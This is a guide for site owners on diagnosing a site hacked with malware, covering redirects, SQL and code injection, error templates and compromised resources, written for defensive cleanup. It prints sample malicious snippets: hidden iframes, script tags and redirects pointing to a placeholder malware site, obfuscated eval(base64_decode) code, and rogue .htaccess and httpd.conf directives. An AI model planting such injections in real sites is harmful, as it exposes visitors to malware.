Malware is any software or mobile application specifically designed to harm a computer, a mobile device, the software it's running, or its users. For more information about what malware is, see [Malware and unwanted software](https://developers.google.com/search/docs/monitor-debug/security/malware). If your site contains malware, users will typically see the warning *"This site may harm your computer"* displayed in search results or on an interstitial page shown by the browser when the user attempts to visit your site, something like this: ![Representative malware interstitial page](https://web.dev/static/articles/hacked-with-malware/image/representative-malware-in-d968499096707.gif) Search results with a malware warning. > [!NOTE] > **Note:** If your site was affected by spam, not malware, you'll instead see the warning *"This site may be hacked"* in search results. Refer to [Assess spam damage](https://web.dev/articles/hacked-with-spam) for guidance. [Video](https://www.youtube.com/watch?v=Snt45fZQIiU) You'll need the following: - Shell or terminal administrator access to your site's servers: web, database, and files. - Knowledge of shell or terminal commands. - The ability to run SQL queries on the database. ## Preparation - [Sign up for Search Console](https://search.google.com/search-console/about) and verify ownership of your hacked site as described there. Search Console provides a sample of affected pages, which makes finding and fixing hacked-with-malware issues much easier. In addition, you will be warned when your site is detected to be affected by many types of malware or other hacks. - View the [Google Safe Browsing diagnostic page](https://transparencyreport.google.com/safe-browsing) to see public information about whether a site is potentially harmful to users. You can see the listing status for your page or site at a URL similar to this: `https://transparencyreport.google.com/safe-browsing/search?url=***<<page_or_site>>***` For example: `https://transparencyreport.google.com/safe-browsing/search?url=webmastercentralblog.blogspot.com` **`<>`** can be a specific page URL (`http://example.com/badpage`) or your entire site (example.com). - **Avoid using a browser to view pages on your site.** Because malware often spreads by exploiting browser vulnerabilities, opening a malware-infected page in a browser may damage your computer. Unless the diagnosing instructions say to access the page directly in your browser, use [cURL](https://www.google.com/search?q=cURL) or [Wget](https://www.google.com/search?q=Wget) to perform HTTP requests (for example, to fetch a page). These freely available tools are helpful in diagnosing redirects, and have the flexibility to include referrer or user-agent information. Including a specific referrer or user-agent is helpful in mimicking hackers, because hackers might only serve malicious content to users with specific user-agents or referrers to target more "real people" and avoid detection from site owners and malware scanners. `curl -v --referer "http://www.google.com" ` Here's an example that specifies both a user agent and a referrer: `curl -v --referer "https://www.google.com" --user-agent "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FSL 7.0.7.01001)" http://www.example.com/page.html` We recommend fetching a page with and without `--referer "https://www.google.com"`, because some malware is only activated when users come from Google Search results. - Create a document to record findings from this step. The document will eventually include (at minimum) the name and location of each damaged file and notes about how it was infected, and will serve as the basis for [Clean and maintain your site](https://web.dev/articles/clean-and-maintain-your-site). - Watch the video earlier on this page to see how malware works and how you can stay safe during your malware investigation. ## Diagnosis Determine which malware is affecting your site: 1. Open the [Security Issues report](https://search.google.com/search-console/security-issues) for your site in Search Console. Expand the description of the malware warning to see a list of example affected pages. Note that this list is not exhaustive; you might not get example pages for all types of malware on your site. 2. Test your example pages for the following types of malware. > [!WARNING] > **Warning:** Opening affected pages directly in the browser can download malicious content to your computer. Unless directed to visit the page directly in your browser as part of the debugging process, use cURL or Wget to access your site. ### Server configuration malware (unwanted redirects) [Video](https://www.youtube.com/watch?v=zyAxY5boWSs) A hacker has compromised your site and is redirecting visitors from your good site to their malware attack site, likely by modifying your server's configuration file(s). Server configuration files commonly allow the site administrator to specify URL redirects for specific pages or directories on a website. For example, on Apache servers, this is the `.htaccess` file as well as `httpd.conf`. #### Diagnosis Visit some of the example URLs shown in the Security Issues report. A response from a page infected with the "server configuration" infection might include the following headers: < HTTP/1.1 301 Moved Permanently < Date: Sun, 24 Feb 2013 21:06:45 GMT < Server: Apache < Location: http://<_malware-attack-site_>/index.html < Content-Length: 253 #### Determine affected files Sign in to your server through shell or terminal access (the site can be offline if you wish) and review relevant server configuration files. There might be more than one hacked server configuration file on your site. Check these files for unwanted directives, such as redirects to unknown sites. For example, in the `.htaccess`\` file, you might see a redirect that looks like this: RewriteEngine On RewriteCond %{HTTP_REFERER} .*google.* **RewriteRule ^third-page.html($|/) http://<_malware-site_>/index.html** [R=301] > [!NOTE] > **Note:** If you find files with bad redirects in them, you'll need to clean them later. ### SQL injection [Video](https://www.youtube.com/watch?v=oZ2kTLDXNNU) A hacker has compromised your site's database. For example, the hacker might have programmatically inserted malicious code into every record of a database table, so that when the server loads a page that requires information from the database, the malicious code is now embedded in the page's content and can harm site visitors. #### Diagnosis 1. Run some queries on the affected URLs in the command-line, and examine the response for SQL attack words like "iframe" or "eval". 2. Sign in to your database server or view your database through a tool like [phpMyAdmin](http://www.phpmyadmin.net/home_page/index.php). If you used Wget or cURL, try to correlate the damage found in the page's source code through Wget or cURL with the actual database entries. For example, if you noticed your pages included a dangerous iframe, you can perform a SQL query searching for iframe code. For example: SELECT * FROM blog_posts WHERE post_text LIKE '%>iframe%'; 3. You might also want to check database log and error files on your server for unusual activity, such as unexpected SQL commands that seem unusual for regular users or errors. #### Fix the issue Either update each infected database record, or restore your last known database backup. ### Code injection [Video](https://www.youtube.com/watch?v=8SX2Ks2XOgo) Pages on your site were modified to include malicious code, such as an iframe to a malware attack site. #### Diagnosis Visit some of the example URLs shown in the Security Issues report with cURL or wGet and examine for suspicious code. Injected code can take many types, and can be hard to find. It might be helpful to search for words like "iframe" to find iframe code. Other helpful keywords are "script", "eval", and "unescape." For example, to search all files for "iframe" on Unix-based systems: $grep -irn "iframe" ./ | less Here are some common malware patterns to look for. An iframe that loads a malicious site: <iframe frameborder="0" height="0" src="http://<_malware-site_>/path/file" style="display:none" width="0"></iframe> JavaScript or another scripting language that calls and runs scripts from an attack site: <script type='text/javascript' src='http://<_malware-site_>/js/x55.js'></script> Scripting that redirects the browser to an attack site: <script> if (document.referrer.match(/google\.com/)) { window.location("http://<_malware-site_>/"); } </script> Malicious code that's obfuscated to avoid detection: eval(base64_decode("aWYoZnVuaauUl+hasdqetiDi2iOwlOHTgs+slgsfUNlsgasdf")); Shared object files designed to randomly write harmful code to otherwise benign scripts: #httpd.conf modified by the hacker LoadModule harmful_module modules/mod_harmful.so AddModule mod_harmful.c ### Malicious error templates [Video](https://www.youtube.com/watch?v=nVnn8HQJ4Ao) The template used for error messages, such as 404 File not Found, is configured to distribute malware. In this way, attackers can launch attacks on URLs that don't even exist on your site. #### Diagnosis Request a page on your site that doesn't exist, or that throws another type of error, and examine the response to see if it comes from another site or otherwise contains malware. #### Fix the issue Sign in to your web server and search your server configuration files for error page directives. For example, the error template for Apache webservers can be declared in the `.htaccess` file. Here's an example `.htaccess` file entry that retrieves 404 error pages from a malicious site: ErrorDocument 404 http://<_malware-site_>/index.html When you're ready to clean your site, either replace the `.htaccess` files(s) with a known good backup, or delete the unwanted ErrorDocument directives on the existing `.htaccess` file(s). Be sure to also clean the actual error files if they exist on your site. Finally, restart your web server to make sure all changes take effect. ### Resources loading from a compromised or malicious site {compromised-resources} Your site uses content or resources from a website that is known to contain malicious content. These could be JavaScript files, images, or other files. Because of this, your site will be flagged for malware loaded from that other site. #### Diagnosis Visit some of the example URLs shown in the Security Issues report. #### Fix the issue 1. Confirm the issue by browsing to a few of the sample URLs listed in the Security Issues report in Search Console. You should see a browser warning. 2. The browser warning will tell you the domain of the questionable content. Remove all references to the flagged site listed in the browser warning. If the content from a flagged site was included without your knowledge, the problem is more serious. Your site has most likely been compromised, and you should continue to examine your site for other hacks and vulnerabilities. 3. If you intentionally included content from a legitimate site that became flagged and you want to re-include the content after the flagged site is cleaned up, you can monitor the status of the flagged site using the [Google Safe Browsing diagnostics page](https://www.google.com/transparencyreport/safebrowsing) for that site (`http://www.google.com/safebrowsing/diagnostic?site=www.example.com`){:.external}. The owners of legitimate sites usually clean them up quickly. ## Additional investigation [Video](https://www.youtube.com/watch?v=2A4dLkXXUjo) Next, check for any additional malicious files or changes on your system. The hacker might have modified existing pages or database records, created entirely new spammy pages, written functions that display spam on clean pages, or left "back doors" that allow the hacker re-entry to your site, or that re-inject malicious code that you've removed. If your site is online, consider taking it offline for this investigation. If you have a known good backup of your site, determine which files have been created or modified since the backup and investigate them. On Unix-based systems, you can use a command like the following to find new files: diff -qr For example: diff -qr www/ backups/full-backup-20120124/ also: md5sum For example: md5sum www/page.html backups/full-backup-20120124/page.html **Check server, access, and error logs for any suspicious activity** such as failed login attempts, command history (especially as root), and the creation of unknown user accounts. Be aware that the hacker might have altered these logs for their own purposes. Some examples are shown in the video for [Identify the vulnerability](https://web.dev/articles/identify-the-vulnerability). **Check configuration files for redirects** . Your configuration files are typically named `.htaccess` and `httpd.conf`. Hackers often create conditional redirects based on the user-agent, time of day, or referrer. If you need to update configuration files, you might need to restart your server for your changes to take effect. **Check for overly-lenient folder and file permissions.** Hackers tamper with permissions because if lenient permissions remain undetected by the site owner, the hacker will have a way to reenter the site. Files greater than `644 (rw-r--r--)` and folders greater than `755 (rwxr-xr-x)` can cause security issues. Make sure any looser permission are really necessary. On Unix-based systems, try: find -type d -not -perm 755 -exec ls -ld {} \; and: find -type f -not -perm 644 -exec ls -la {} \; If you have a database, investigate record by record, using a tool like [phpMyAdmin](https://www.phpmyadmin.net/home_page/index.php).